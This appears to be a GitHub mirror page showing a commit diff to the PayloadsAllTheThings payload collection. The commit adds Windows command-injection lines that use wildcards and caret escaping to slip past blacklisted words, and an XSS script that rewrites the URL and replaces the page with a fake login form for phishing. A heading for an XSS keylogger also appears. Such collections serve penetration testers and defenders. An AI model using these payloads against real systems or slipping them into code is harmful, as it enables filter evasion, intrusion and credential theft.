mirror of
https://github.com/swisskyrepo/PayloadsAllTheThings.git
synced 2025-02-07 07:22:13 +00:00
Windows RCE wildcard + XSS UI redressing
This commit is contained in:
parent
2e3aef1a19
commit
ea0bddc18a
@ -110,6 +110,12 @@ cat ${test//hhh\/hm/}
|
|||||||
cat ${test//hh??hm/}
|
cat ${test//hh??hm/}
|
||||||
```
|
```
|
||||||
|
|
||||||
|
Bypass blacklisted word with wildcards
|
||||||
|
```powershell
|
||||||
|
powershell C:\*\*2\n??e*d.*? # notepad
|
||||||
|
@^p^o^w^e^r^shell c:\*\*32\c*?c.e?e # calc
|
||||||
|
```
|
||||||
|
|
||||||
Bypass zsh/bash/sh blacklist
|
Bypass zsh/bash/sh blacklist
|
||||||
|
|
||||||
```powershell
|
```powershell
|
||||||
|
@ -33,6 +33,15 @@ fclose($fp);
|
|||||||
?>
|
?>
|
||||||
```
|
```
|
||||||
|
|
||||||
|
UI redressing (Sophisticated phishing)
|
||||||
|
|
||||||
|
```html
|
||||||
|
<script>
|
||||||
|
history.replaceState(null, null, '../../../login');
|
||||||
|
document.body.innerHTML = "</br></br></br></br></br><h1>Please login to continue</h1><form>Username: <input type='text'>Password: <input type='password'></form><input value='submit' type='submit'>"
|
||||||
|
</script>
|
||||||
|
```
|
||||||
|
|
||||||
Keylogger for XSS
|
Keylogger for XSS
|
||||||
|
|
||||||
```javascript
|
```javascript
|
||||||
|
Loading…
Reference in New Issue
Block a user